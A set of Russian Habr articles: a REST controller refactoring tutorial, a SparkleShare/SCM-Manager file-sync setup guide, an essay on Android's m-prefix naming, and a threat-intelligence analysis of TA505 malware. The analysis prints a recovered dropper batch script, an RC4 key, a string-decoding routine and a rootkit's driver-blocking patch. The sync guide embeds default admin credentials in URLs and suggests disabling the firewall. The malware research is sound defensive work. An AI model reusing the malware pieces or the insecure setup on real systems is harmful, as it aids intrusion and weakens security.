ctx.body = TransferObjectUtils.createResponseObject(code, message, data);
};
```
**Update user**
```
@post("/")
@parameter("body", { $ref: UsersRequestSchema }, ENUM_PARAM_IN.body)
@response(200, { $ref: BaseAPIResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Update user data")
@summary("Update user data")
public async updateUser(ctx: BaseContext): Promise {
console.log("POST /api/v1/users");
let message = "Update user data error";
let code = 400;
let data = null;
try {
let serviceResult = await updateUser(ctx.request.body.data);
if (serviceResult) {
code = 200;
message = null;
}
} catch (e) {
console.log("Error while updating user");
code = 500;
}
ctx.status = code;
ctx.body = TransferObjectUtils.createResponseObject(code, message, data);
};
```
**Insert user**
```
@put("/")
@parameter("body", { $ref: UsersRequestSchema }, ENUM_PARAM_IN.body)
@response(200, { $ref: BaseAPIResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Insert new user")
@summary("Insert new user")
public async insertUser(ctx: BaseContext): Promise {
console.log("PUT /api/v1/users");
let message = "Insert new user error";
let code = 400;
let data = null;
try {
let serviceResult = await insertUser(ctx.request.body.data);
if (serviceResult) {
code = 200;
message = null;
}
} catch (e) {
console.log("Error while inserting user");
code = 500;
}
ctx.status = code;
ctx.body = TransferObjectUtils.createResponseObject(code, message, data);
};
```
Как видно, три метода контроллера содержат повторяющийся код. Именно для таких случаев мы сейчас используем эту возможность.
Для начала создадим функцию обертку, например прямо в файле **routing.ts**.
```
const controllerDecorator = async (controller: Function, ctx: BaseContext, next: Function, summary: string): Promise => {
console.log(`${ctx.request.method} ${ctx.request.url}`);
ctx.body = null;
ctx.status = 400;
ctx.statusMessage = `Error while executing '${summary}'`;
try {
await controller(ctx);
} catch (e) {
console.log(e, `Error while executing '${summary}'`);
ctx.status = 500;
}
ctx.body = TransferObjectUtils.createResponseObject(ctx.status, ctx.statusMessage, ctx.body);
};
```
Затем подключим ее к нашему контроллеру.
Заменим
```
router.loadController(UserController);
```
на
```
router.loadController(UserController, controllerDecorator);
```
Ну и упростим наши методы контроллера
**User controller**
```
@get("/")
@response(200, { $ref: UsersResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Returns list of all users")
@summary("Get all users")
public async getAllUsers(ctx: BaseContext): Promise {
let serviceResult = await getAllUsers();
if (serviceResult) {
ctx.body = serviceResult;
ctx.status = 200;
ctx.statusMessage = null;
}
};
@post("/")
@parameter("body", { $ref: UsersRequestSchema }, ENUM\_PARAM\_IN.body)
@response(200, { $ref: BaseAPIResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Update user data")
@summary("Update user data")
public async updateUser(ctx: BaseContext): Promise {
let serviceResult = await updateUser(ctx.request.body.data);
if (serviceResult) {
ctx.status = 200;
ctx.statusMessage = null;
}
};
@put("/")
@parameter("body", { $ref: UsersRequestSchema }, ENUM\_PARAM\_IN.body)
@response(200, { $ref: BaseAPIResponseSchema })
@response(400, { $ref: BaseAPIResponseSchema })
@response(500, { $ref: BaseAPIResponseSchema })
@tag("User")
@description("Insert new user")
@summary("Insert new user")
public async insertUser(ctx: BaseContext): Promise {
let serviceResult = await insertUser(ctx.request.body.data);
if (serviceResult) {
ctx.status = 200;
ctx.statusMessage = null;
}
};
```
В этом **controllerDecorator** можно дописать любую логику проверок или подробных логов входов/выходов.
[Готовый код я выложил тут](https://github.com/DragFAQ/simple-rest).
Вот теперь у нас готов почти CRUD. Delete можно написать по аналогии. По сути теперь для написания нового контроллера мы должны:
1. Создать файл контроллера
2. Добавить его в routing.ts
3. Описать методы
4. В каждом методе использовать схемы входов/выходов
5. Описать эти схемы
6. Подключить эти схемы в routing.ts
Если входящий пакет не будет соответствовать схеме, пользователь нашего REST сервиса получит ошибку 400 с описанием что именно не так. Если же исходящий пакет будет невалидный, то будет сгенерирована ошибка 500.
Ну и еще как приятная мелочь. В Swagger UI можно использовать функциональность “**Try it out**” на любом методе. Будет сгенерирован запрос через curl на ваш запущенный сервис, ну и конечно же результат вы сможете тут же увидеть. И вот именно для этого очень удобно в схеме описывать параметр ”**example**”. Потому что запрос будет сгенерирован уже сразу с готовым пакетом основанном на описанных экзамплах.
#### **Выводы**
Очень удобная и полезная в итоге получилась штука. Вначале не хотели валидировать исходящие пакеты, но потом с помощью этой валидации поймали несколько существенных багов на своей стороне. Конечно в полной мере нельзя использовать все возможности Joi (так как мы ограничены joi-to-swagger), но и тех, что есть вполне хватает.
Теперь документация у нас всегда онлайн и всегда строго соответсвует коду — и это главное.
Какие еще есть идеи?..
Возможно добавить поддержку express?
[Прочитал только что](https://habr.com/ru/post/450238/?mobile=no&_ga=2.225932382.597417536.1556785820-463664232.1525080331).
Действительно было бы круто описывать сущности один раз в одном месте. Потому что сейчас необходимо править и схемы и интерфейсы.
Может у вас будут какие-то интересные идеи. А еще лучше Пулл реквесты :)
Добро пожаловать в контрибуторы. | https://habr.com/ru/post/449906/ | null | ru | null |
# SparkleShare + SCM-Manager: Очень простая альтернатива DropBox для локальной сети под Windows
Это руководство подскажет вам, как буквально за 10 минут создать простой, удобный и надежный аналог Dropbox, который будет под вашим полным контролем и позволит обмениваться файлами с коллегами по локальной сети.
##### Дистрибутивы
Перед началом работы, скачайте следующие дистрибутивы:
* [SCM-Server 1.32 (standalone)](http://www.scm-manager.org/download/)
* [SparkleShare](http://sparkleshare.org/)
**SparkleShare** – это клиент для Git-репозитория, который и обеспечивает автоматическую синхронизацию папок на разных компьютерах.
**SCM-Server** – это очень простой в настройки Git-сервер. До недавнего времени именно сложность настройки Git-сервера под Windows делала использование SparkleShare очень сложным (для локальной сети), но, сейчас настроить свой Git-server можно в пару кликов.
Установите SparkleShare, а архив с SCM-Server распакуйте в любую удобную папку, например «D:\scm-server\» как в моем примере.
##### Настройка Git-сервера
Запустите файл D:\scm-server\bin\**scm-server.bat**
Если все пойдет хорошо, то сервер будет доступен по адресу *http: //localhost:8080* или *http://<сетевое-имя-машины>:8080*
Если же веб-сайт не доступен, то попробуйте временно отключить Фаервол
Если Порт 8080 занят, то зайдите в файл конфигурации D:\scm-server\conf\server-config.xml
и поправьте строку на свободный порт:
```
```
И запустите scm-server.bat еще раз
Теперь можно зайти в панель администрирования.
Как написано в файле README.txt, для входа используйте логин/пароль:
**scmadmin/scmadmin**
На вкладке “Repositories” – создайте новый репозиторий “myrepo” как на картинке:
[](http://habrastorage.org/storage2/47d/d07/094/47dd0709433a5bbc17a3dc4480767fbf.png)
После чего появится строка:
> Checkout: git clone [scmadmin](http://scmadmin)**@**localhost:8181/scm/git/myrepo
Для SparkleShare нам необходимо видоизменить эту строку, добавив пароль пользователя и заменив localhost на сетевое имя git-сервера. В моем случае, сетевое имя моей машины – **dz**:
http: //scmadmin:scmadmin@**dz**:8181/scm/git/myrepo
##### Настройка клиента
Запустите SparkleShare и найдите иконку в системном лотке Windows. Выберете пункт меню «Add hosted project»
Выберете пункт «My Own server» и разделите адрес репозитория на две части:
**Address:** http: //scmadmin:scmadmin@dz:8181/
**Remote Path:** **/**scm/git/myrepo
[](http://habrastorage.org/storage2/b0d/9b7/e9e/b0d9b7e9eecb9e9e45e50d63bf38d3e6.png)
После нажатия на кнопку Add – появится окно процесса добавления репозитория. Тут очень важно заметить, что пустой репозиторий должен добавится в течение нескольких секунд, и если окно «зависнет», то скорее всего приложение не может достучаться до сервера.
Ну, и по завершении процесса, вы сможете открыть папку из системного лотка, и пользоваться ею так, как вы это делаете с Dropbox-альтернативой.
##### В завершение
Так как хранилище файлов основано на Git репозитории – можно в добавок настроить [Gitorious](http://gitorious.org/) или [GitLab](http://gitlab.org/) для просмотра папок через веб интерфейс. В общем, все что работает с git – теперь вы можете прикрутить к вашему файл-хранилищу
##### Почитать еще:
* [Большое файловое хранилище для маленькой такой компании](http://habrahabr.ru/post/160237/)
* [Не DropBox единым жив человек – 10 альтернатив популярному сервису](http://habrahabr.ru/company/webprofessionals/blog/134466/)
* [4 способа развернуть собственный аналог Dropbox](http://habrahabr.ru/post/118646/)
* [Настройка собственного GIT / SVN / Mercurial сервера на базе SCM Manager для Tomcat под Debian](http://habrahabr.ru/post/184964/)
* [Настройка окружения для сборки и тестирования приложения в закрытом периметре](http://habrahabr.ru/post/176719/)
* [Как изменить путь к хранилищу SparkleShare (англ.)](https://github.com/hbons/SparkleShare/wiki/Configuration-options) | https://habr.com/ru/post/186270/ | null | ru | null |
# Я являюсь причиной появления венгерской нотации в Android
Все из нас видели это:
```
private String mName;
```
Это из-за меня.
Я так и сказал — это моя вина.
Эта тема всплывает снова и снова, [обсуждение на reddit](https://www.reddit.com/r/androiddev/comments/6nq9xl/do_people_actually_use_this_naming_convention/) напомнило, что я никогда не объяснял откуда взялась эта нотация, а также, насколько она неправильно понимается людьми. Поэтому мне бы хотелось воспользоваться возможностью, дабы прояснить некоторые вещи, и я сделаю это в двух частях:
1. Как появилась m-нотация.
2. Почему вы, вероятно, не понимаете, что такое венгерская нотация.
M-нотация
---------
Я был одним из первых инженеров, работающих над Android, и мне было поручено разработать руководство по стилю для Android API (для нас, команды Android) и пользовательского кода. В то время у нас было мало Java разработчиков и мало кода на Java, поэтому разработать руководство до того, как кода будет огромное количество — было очень важным.
Когда дело доходит до определения полей, я становлюсь немного предвзят. В то время я уже написал приличное количество Java, Windows и кода на C ++, и я обнаружил, что использование определенного синтаксиса для полей бывает очень полезным. Microsoft использует m\_ для этого, в то время как обычно используется лидирующий символ подчеркивания (например, \_name) в C ++. С тех пор, как я начал писать Java-код, меня всегда беспокоил тот факт, что Java отошел от этого соглашения.
Но моя задача состояла в том, чтобы написать руководство по стилю для Java, выполнив, таким образом, одну из наших целей с первого дня работы над Android — создать платформу разработки, где программисты Java будут чувствовать себя очень комфортно.
Поэтому я отложил в сторону свои предубеждения и потратил некоторое время на изучение внутренних руководств по стилю Sun и Google, и я придумал собственное руководство для Android, которое состояло на 99% из того, что предлагалось этими двумя руководствами, но с несколькими очень маленькими изменениями.
Одно из отличий, которое я помню, была связана с фигурными скобками. Хотя для обоих руководств по стилю требуется использовать фигурные скобки для всего, я ввел исключение, когда продолжающий оператор может поместиться в одной строке. Идея этого исключения заключалась в том, чтобы учесть распространенную идиому логирования в Android:
```
if (Log.DEBUG) Log.d(tag, "Logging");
```
Без этого исключения логирование занимало бы много пространства экрана, что, и с этим согласились все, нежелательно.
Итак, это была первая версия нашего руководства по стилю, и оно не содержало никаких требований к префиксам у полей.
Я отправил гайд команде, и, к моему удивлению, он никому не понравился, именно потому, что он не предусматривал синтаксиса полей. Все считали, что поля должны быть стандартизированы, и они не согласятся с руководством, у которого нет такого правила.
Поэтому я вернулся к своей доске для рисования и обдумал несколько вариантов стандартизации.
Я принял во внимание \_name и m\_name, как упоминалось выше, но отклонил их, потому что подчеркивание было слишком большим отклонением от стандарта Java. Я столкнулся с несколькими другими, более экзотическими нотациями (например, с использованием префикса «iv» для «instance variable»), но в конечном счете я отклонил их всех. Независимо от того, что я рассматривал, префикс «m» крутился у меня в голове как самый разумный и наименее объемный.
Итак, что было очевидным решением? Берете «m», убираете подчеркивание и используете camelcase. Таким образом родилось mName.
Это предложение было принято командой, и тогда мы сделали это официальным обозначением.
Вероятно, вы не понимаете венгерскую нотацию
--------------------------------------------
Всякий раз, когда возникает дискуссия о венгерской нотации (HN), я замечаю, что большинство людей, похоже, думают, что каждый раз, когда вы добавляете некоторые метаданные в идентификатор, это автоматически HN. Но это игнорирует основную концепцию HN и очень продуманный дизайн, который Simonyi вложил в нее, когда он придумал это обозначение.
Прежде всего, существует множество различных метаданных, которые вы можете добавить к именам идентификаторов, и все они принадлежат к разным категориям. Вот категории, которые я определил на данный момент (их может быть больше):
* Информация о типе.
* Информация о видимости.
* Семантическая информация.
Давайте рассмотрим их по очереди.
### Информация о типе
Это, пожалуй, наиболее распространенное использование метаданных поля: наименование поля таким образом, чтобы его тип можно было узнать по имени. Это используется повсюду в коде Win32 / 64, где вы видите имена, такие как lpsz\_name, для обозначения «Long Pointer to String with a Zero terminator». Хотя эта нотация кажется чрезвычайно многословной и сложно читаемой, фактически у Windows программистов она интерпретируется в голове практически мгновенно, и добавленная информация действительно очень полезна для отладки многих непонятных ошибок, которые могут произойти в недрах системы Windows, в основном из-за очень динамичного характера многих его API и большой зависимости от C и C ++.
### Информация о видимости
Это то, что используется в Android: использование метаданных для указания с каким типом переменной вы имеете дело: поля, локального или функционального параметра. Мне сразу стало ясно, что поля действительно являются наиболее важным аспектом переменной, поэтому я решил, что нам не нужны дальнейшие соглашения, чтобы отличать локальные переменные от параметров функции. Еще раз: обратите внимание, что эти метаданные не имеют ничего общего с типом переменной.
### Семантическая информация
Это, на самом деле, наименее используемая информация в метаданных и, тем не менее, возможно, самая полезная. Такая дифференциация может применяться к переменным идентичных или похожих типов, или к идентичным или сходным областям, но принадлежащим к разной семантике.
Это соглашение можно использовать, когда вам нужно различать переменные подобных типов, но используемые в разных целях. В большинстве случаев разумное имя приведет вас к цели, но иногда метаданные — единственный выход из ситуации. Например, если вы разрабатываете графический интерфейс, который позволяет пользователю вводить имя, то вы можете иметь несколько вариантов view, называемых «name»: edit text («textName»), text view («tvName»), кнопки для подтверждения или отмены («okName», «cancelName», и так далее...).
В таких примерах важно четко указать, что все эти идентификаторы относятся к одной и той же операции (редактирование имени) при дифференциации их функции (метаданных).
Надеюсь, теперь у вас должно быть более точное представление о венгерской нотации, и я настоятельно рекомендую прочитать статью Джоэла Спольси [«Making wrong code look wrong»](https://www.joelonsoftware.com/2005/05/11/making-wrong-code-look-wrong/) на эту тему, которая должна помочь понять все эти пункты.
Итак, что вы думаете о венгерской нотации?
------------------------------------------
Прежде всего, я думаю, что нам нужно прекратить использовать термин «Венгерская нотация», потому что он слишком расплывчат. Когда я задаю этот вопрос, я обычно прошу людей уточнить, о каком из трех, перечисленных выше вариантов, они говорят (и в большинстве случаев они не уверены и им нужно время подумать об этом).
Я просто использую термин «метаданные идентификатора», чтобы описать общую идею добавления информации к простому имени идентификатора. И, в целом, я думаю, что этот подход может иметь достоинства в каждом из перечисленных случаев. Я не думаю, что это должно использоваться всегда и везде по умолчанию, но это определенно полезно, особенно в примере графического интерфейса, который я описал выше. Я встречаю такие примеры на регулярной основе и не использование метаданных идентификатора для такого типа кода, приводит к тому, что код сложнее читать (как для автора, так и для будущих читателей) и поддерживать.
Я также не согласен с аргументом: «Сегодня наши IDE могут различать все эти идентификаторы цветами, чтобы нам больше не нужно было делать этого самим». Этот аргумент ошибочен по двум причинам:
* Код часто читается вне IDE (начиная, по иронии судьбы, со скриншота, снятого с обсуждения на reddit, у которого нет подсветки). Я читаю код в браузерах, терминалах, diff utils, git tools и т. д. Большинство из них не имеют подсветки, которая бы упростила анализ кода, поэтому использование метаданных идентификатора может помочь в таких случаях.
* Подсветка в IDE по-прежнему не поможет вам разобраться в неоднозначных случаях, таких как, например, графический интерфейс, описанный выше. Есть еще случаи, когда вы, разработчик, знаете больше о своем коде, чем может знать IDE, и добавление метаданных идентификатора — это единственный разумный выбор, который вы можете сделать.
Не слушайте людей, которые говорят вам, что метаданные идентификатора никогда не должны использоваться или что их следует использовать всегда. Такой вид именования — это всего лишь инструмент в вашем ремесле разработчика, и здравый смысл должен относительно легко для вас определить, когда настало время добавить некоторые метаданные к вашим идентификаторам.
Наконец, я часто вижу бурные реакции по поводу этой проблемы. В течение 30 лет, что я писал код, я заметил, что после нескольких дней написания кода по новому руководству по стилю вы просто перестаете его замечать и полностью следуете ему. Были времена, когда я не мог терпеть код, который не писался с отступами с двумя пробелами, а через несколько месяцев после работы над проектом с четырьмя пробелами я почувствовал обратное. То же самое происходит с соглашениями об именах. Вы привыкнете к чему угодно, если соглашения применяются по всей базе кода, над которой вы работаете. | https://habr.com/ru/post/333596/ | null | ru | null |
# Операция TA505, часть четвертая. Близнецы
[](https://habr.com/ru/company/pt/blog/475328/)
Продолжаем рассказывать о деятельности хакерской группировки TA505. Всем известная фраза «новое — это хорошо забытое старое» как нельзя лучше подходит в качестве эпиграфа к очередной главе повествования о группе TA505. Правда, в этот раз «старое» не столько «забыто», сколько переработано и улучшено.
В начале сентября мы обнаружили несколько вредоносных загрузчиков, упакованных специальным PE-пакером группы, о котором мы [писали ранее](https://www.ptsecurity.com/ru-ru/research/pt-esc-threat-intelligence/operation-ta505-part1/). На первый взгляд они были похожи на хорошо известные стейджеры бэкдора FlawedAmmyy. Но более глубокий анализ показал, что это не так. Не самые передовые техники написания кода вывели нас на кардинально противоположные полезные нагрузки по качеству исполнения.
В этой статье мы подробнее рассмотрим найденные инструменты и проведем параллели с тем, что уже известно.
Загрузчик Twein
---------------
Прежде всего любопытно следующее: из всех образцов загрузчиков, которые нам удалось собрать, лишь один имеет цифровую подпись:
*Рис. 1. Цифровая подпись загрузчика*
Сертификат выдан на имя PEAR SOLUTIONS LTD. К слову, это не первый случай, когда группировка подписывает свои инструменты, выдавая их за легитимное ПО фиктивных организаций. Вот несколько других имен, которые использовали TA505 для других семейств ВПО:
* ET HOMES LTD,
* FIT AND FLEX LIMITED,
* MISHA LONDON LTD,
* SATOJI KAIDA MB,
* VERY TELE LIMITED.
Так как обнаруженные загрузчики между собой не различаются, выберем вышеупомянутый подписанный и остановимся на нем подробнее.
На протяжении работы ВПО практически каждое действие сопровождается записью в файл журнала и отладочным выводом всего происходящего:
*Рис. 2. Отладочный вывод и журналирование*
Такая трассировка не только упрощает статический разбор файла, но и помогает обнаружить неладное в системах динамического анализа:
*Рис. 3. Отладочный вывод в онлайн-анализаторе ANY.RUN*
Троян проверяет языковую раскладку клавиатуры — и не работает в России и странах ближнего зарубежья:
*Рис. 4. Проверка языковой раскладки клавиатуры*
Затем создает мьютекс `Global\system32_mutant_service` и проверяет доступность интернета с помощью HTTP GET-запроса к google.com. После этого определяет способ выхода в сеть (выделенный адрес или [NAT](https://ru.wikipedia.org/wiki/NAT)) путем определения внешнего IP-адреса сервисами myexternalip.com, ipecho.net и ifconfig.me и сравнения полученного значения с указанными в сетевых параметрах системы:
*Рис. 5. Сопоставление внутреннего и внешнего IP-адресов*
Далее вредонос определяет версию библиотеки `%SystemRoot%\system32\crypt32.dll` и, в случае если номер сборки и номер ревизии меньше, чем `7601` и `18741` соответственно, загружает и устанавливает обновление `KB3033929` согласно версии операционной системы:
*Рис. 6. Загрузка и установка обновления системы*
Злоумышленники из TA505 заботятся о жертве и патчат систему по мере необходимости? Вовсе нет. Установка обновления связана с прекращением поддержки сертификатов безопасности кода, подписанных с помощью SHA-1, и отказом от него в пользу алгоритма SHA-2. Вероятнее всего, хакеры уже сталкивались со сложностями запуска подписанных полезных нагрузок на необновленных системах. Интересно, что после установки обновления троян отправляет сформированный журнал действий на управляющий сервер, прекращает свою работу и самоудаляется, подчищая оставленные следы.
*Рис. 7. Завершение работы после установки обновления системы*
В случае если установка обновления не требуется, загрузчик собирает и отправляет следующую информацию на управляющий сервер:
* информация о системе,
* информация об установленном ПО,
* информация о подписанном ПО в каталогах %ProgramFiles% и %ProgramFiles(x86)% (если есть),
* информация о подписанных драйверах в каталоге %SystemRoot%\drivers.
Отметим, что для получения информации о подписях был использован [легитимный код](https://support.microsoft.com/ru-ru/help/323809/how-to-get-information-from-authenticode-signed-executables).
*Рис. 8. Получение информации о сертификате*
После этого загрузчик создает каталог `C:\Windows\Logs\diag` и запускает поток, в котором отслеживает изменения в каталоге, отправляя уведомления на управляющий сервер:
*Рис. 9. Мониторинг изменений в каталоге*
Затем подготавливает уже имеющуюся и недостающую информацию о системе (имя пользователя, версия системы, домен, IP-адрес, информация о видеокарте, подключение к сети — NAT или не NAT) и формирует JSON-файл такого вида:
```
{
"adm": "0",
"bid": "M3xwwhqLH/AUOhmU2+W55A==",
"bit": "1",
"bnet": "ldr",
"cam": "0",
"cis": "0",
"dmn": "WORKGROUP",
"hash_r": "0",
"lip": "192.168.100.153",
"lvl": "0",
"nat": "1",
"osb": "0",
"osv": "Windows 7 Professional",
"pc": "USER-PC",
"proc_c": "0",
"proc_n": "cpu",
"rep": 0,
"tmt": "0",
"ver": "163",
"video": "Standard VGA Graphics Adapter,"
}
```
Позже эти данные будут зашифрованы RC4 (ключ шифрования `gJypA9RWUlYpnBbzujVqE6fDcEAk0zoz` зашит в теле трояна), закодированы с помощью Base64 и отправлены HTTP POST-запросом на управляющий сервер:
*Рис. 10. HTTP POST-запрос на управляющий сервер*
*Рис. 11. Список управляющих серверов в теле загрузчика*
Ответ от сервера расшифровывается RC4 (ключ шифрования тот же, что использовался при отправке данных) и проверяется: первые два байта должны соответствовать строке MZ, что является признаком PE-файла. Мы уже встречали такую последовательность ранее, когда анализировали другой загрузчик группы, который доставлял FlawedAmmyy RAT:
*Рис. 12. Схожий код расшифровки и проверки загруженного файла у рассматриваемого загрузчика (слева) и загрузчика FlawedAmmyy RAT (справа)*
Загрузка полезной нагрузки происходит не только в главном потоке, но и в отдельно создаваемом. Другими словами, полезных нагрузок — две. В одном случае предварительно проверяется мьютекс Global\system32\_host\_service, и в случае его отсутствия выполняется загрузка компонента, который именуется в отладочной информации как payload или bot. Интересно то, что после получения ответа от сервера PE-файл никаким образом не запускается. Вместо этого его тело записывается в реестр в раздел `HKEY_LOCAL_MACHINE\SYSTEM` в ключ `0x228028`. Затем загрузчик отключает перенаправление файловой системы WoW64 для 32-битных приложений средствами `Wow64DisableWow64FsRedirection` и запускает процесс `%SystemRoot%\System32\services.exe` с параметром -ww. Использование этого параметра не имеет смысла, но на этом заканчивается цепочка установки полученного пейлоада.
*Рис. 13. Установка полезной нагрузки*
Про вторую полезную нагрузку мы поговорим позднее.
Twein-плагины
-------------
Исследуя рассмотренный выше троян, мы обратили внимание на функцию, которая удаляет два файла из каталога `%SystemRoot%` — `twein_32.dll` и `twein_64.dll`:
*Рис. 14. Удаление файлов twein\_32.dll и twein\_64.dll*
Больше эти файлы нигде не встречаются, не фигурируют в логике работы загрузчика. Однако имена библиотек напомнили нам другое ВПО группы, которое мы сейчас рассмотрим.
Двумя месяцами ранее мы обнаружили троян группы TA505, размером около 9 МБ. Файл упакован [UPX](https://ru.wikipedia.org/wiki/UPX). Троян устанавливается в систему в качестве сервиса `WMDICToss`. В ресурсах содержатся три файла: `systemdiron.bat`, `twein__32.dll` и `twein__64.dll`, которые зашифрованы линейным XOR.
*Рис. 15. Расшифровка одного из ресурсов дроппера*
Обратим внимание, что имена двух файлов практически совпадают с уже упомянутыми ранее: разница лишь в количестве знаков подчеркивания.
Один из расшифрованных ресурсов с именем `systemdiron.bat` ожидаемо представляет собой командный сценарий, который обеспечивает запуск других компонентов в зависимости от разрядности системы:
```
@echo off
if defined PROCESSOR_ARCHITEW6432 (goto LABEL_X64)
if %PROCESSOR_ARCHITECTURE%==IA64 (goto LABEL_X64)
if %PROCESSOR_ARCHITECTURE%==AMD64 (goto LABEL_X64)
if %PROCESSOR_ARCHITECTURE%==x86 (goto LABEL_X86)
goto LABEL_NON
:LABEL_X64
echo OS type: x64
copy c:\temp\tmp.log c:\i.txt
rundll32.exe C:\Windows\twein__64.dll,Install
copy c:\temp\tmp.log c:\i.txt
rundll32.exe C:\Windows\twein__32.dll,Install
del c:\temp\tmp.log
del c:\i.txt
shutdown.exe -r -t 00
goto LABEL_END
:LABEL_X86
echo OS type: x86
copy c:\temp\tmp.log c:\i.txt
rundll32.exe C:\Windows\twein__32.dll,Install
del c:\temp\tmp.log
del c:\i.txt
shutdown.exe -r -t 00
goto LABEL_END
:LABEL_NON
echo OS type: undefined
goto LABEL_END
:LABEL_END
pause
```
Обе twein-библиотеки действуют аналогично. Упакованы характерным пакером группы TA505. Оригинальные имена библиотек: `av_block.dll`. Анализ существенно усложнен использованием обфускатора, причем доля обфусцированного кода составляет около 80%. Вследствие этого выполнение программы насыщено многочисленными переходами, расшифровками следующих ступеней кода, нелинейными вызовами функций.
Библиотеки содержат внушительный список Base64-подобных строк, которые расшифровываются следующим образом:
1. входная строка разделяется на блоки по 4 байта;
2. каждый блок декодируется с помощью алгоритма замены и сдвига:
```
import binascii
def block_decode(input_str, len_of_block):
alphabet = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3E\x00\x00\x00\x3F\x34\x35\x36\x37\x38\x39\x3A\x3B\x3C\x3D\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x00\x00\x00\x00\x00\x00\x1A\x1B\x1C\x1D\x1E\x1F\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2A\x2B\x2C\x2D\x2E\x2F\x30\x31\x32\x33\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
int_result = 0
for i in range(len_of_block):
alph = ord(alphabet[ord(input_str[i])])
alph <<= 0x6 * i
int_result += alph
str_result = hex(int_result)[2:]
if len(str_result) % 2 != 0:
str_result = '0' + str_result
return binascii.unhexlify(str_result).decode('latin1')[::-1]
```
3) блоки собираются в единую строку;
4) результат расшифровывается алгоритмом [eexec](https://www-cdf.fnal.gov/offline/PostScript/T1_SPEC.PDF) с двухбайтовым ключом, передаваемым в качестве параметра:
*Рис. 16. Реализация алгоритма eexec*
Бóльшая часть строк — имена и пути до файлов антивирусных продуктов, однако некоторые из них принадлежат вовсе не защитным средствам: MS Exchange Server, MySQL Server, SAP, Apache, PostgreSQL, Elasticsearch и др. Встречались даже такие уникальные пути:
* C:\Users\tislam\Desktop\salik app\Aye\_salik\_data\Aye\_salik\_data\bin\Debug\Aye\_salik\_data.exe
* C:\oem13c\agent13c\agent\_13.2.0.0.0\perl\bin\perl.exe
* C:\Users\adadmin\Ubiquiti UniFi\bin\mongod.exe
* C:\Users\sakella\AppData\Local\Microsoft\OneDrive\OneDrive.exe
* D:\Add-ons\IMI\_CREDIT\_POLICY Test v 02.01\IMI\_CREDIT\_POLICY.exe
Если в системе обнаружено ПО из списка — файлы и каталоги удаляются.
Для закрепления в системе библиотеки устанавливают себя в качестве интерфейса сервис-провайдера (SPI) [Windows Sockets](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/ns-winsock2-wsaprotocol_infow), именуясь Intel и IntelFiltr. Помимо этого, они изменяют очередность обработчиков в цепочке протоколов, чтобы быть первым SPI, который обработает запрос клиента.
В 2015 году наши коллеги из FireEye представили разбор бота [LatentBot](https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html). Любопытно, что алгоритм шифрования строк в LatentBot и рассмотренных twein-библиотеках полностью совпадает. Кроме этого, LatentBot использует в качестве одного из плагинов security-модуль, который ищет в системе защитные средства по заданным путям и названиям продуктов, правда только проверкой наличия и ограничивается.
Руткит Twein
------------
Вернемся к загрузчику, а именно ко второй полезной нагрузке. По отладочным строкам try to open rootkit… и Driver %S installed несложно догадаться о формате следующего пейлоада. После успешной загрузки драйвер будет записан в каталог `%SystemRoot%\System32\drivers` с именем, сформированным псевдопроизвольным образом из имен других легитимных файлов. Затем сервис будет создан и запущен:
*Рис. 17. Установка и запуск сервиса*
В завершающей стадии своей работы загрузчик сконфигурирует работу драйвера черными списками в ключах реестра: в заданные числовые значения ключей ветки `HKEY_LOCAL_MACHINE\SYSTEM` будут занесены имена антивирусных процессов, инструментов анализа и вендоров защитных средств в цифровых подписях файлов:
*Рис. 18. Конфигурация драйвера черными списками*
В процессе исследования загрузчика нам не удалось получить образец драйвера от управляющего сервера. Однако мы нашли [упоминание о рутките](https://twitter.com/PRODAFT/status/1123243419135033344), который выкачивался другим аналогичным загрузчиком.
Драйвер подписан цифровой подписью, выданной на имя `Lizas Limited` с указанием `administrator@lizaslimited.site` в качестве электронной почты:
*Рис. 19. Цифровая подпись драйвера*
В процессе исследования мы обнаружили много [общего](https://www.virusbulletin.com/virusbulletin/2014/06/curse-necurs-part-3/) с хорошо известным руткитом ботнета Necurs, который активно использовала группа TA505 для рассылки спама и распространения ВПО. Рассмотрим подробнее наиболее интересные особенности его работы.
Драйвер регистрирует обработчики событий на запуск процессов и загрузку PE-образов средствами `PsSetCreateProcessNotifyRoutine` и `PsSetLoadImageNotifyRoutine`. Другими словами, это позволяет драйверу проконтролировать запуск всех новых процессов и сервисов. Используя черные списки, о которых мы упоминали ранее, руткит завершает нежелательные процессы с помощью ZwTerminateProcess и не дает загрузиться другим, потенциально опасным для него драйверам, перезаписывая значение точки входа на инструкции:
```
mov eax, 0C0000001
retn 8
```
Как следствие, сервис будет штатно выгружен с ошибкой `STATUS_UNSUCCESSFULL`.
*Рис. 20. Завершение процессов*
*Рис. 21. Перезапись точки входа драйверов*
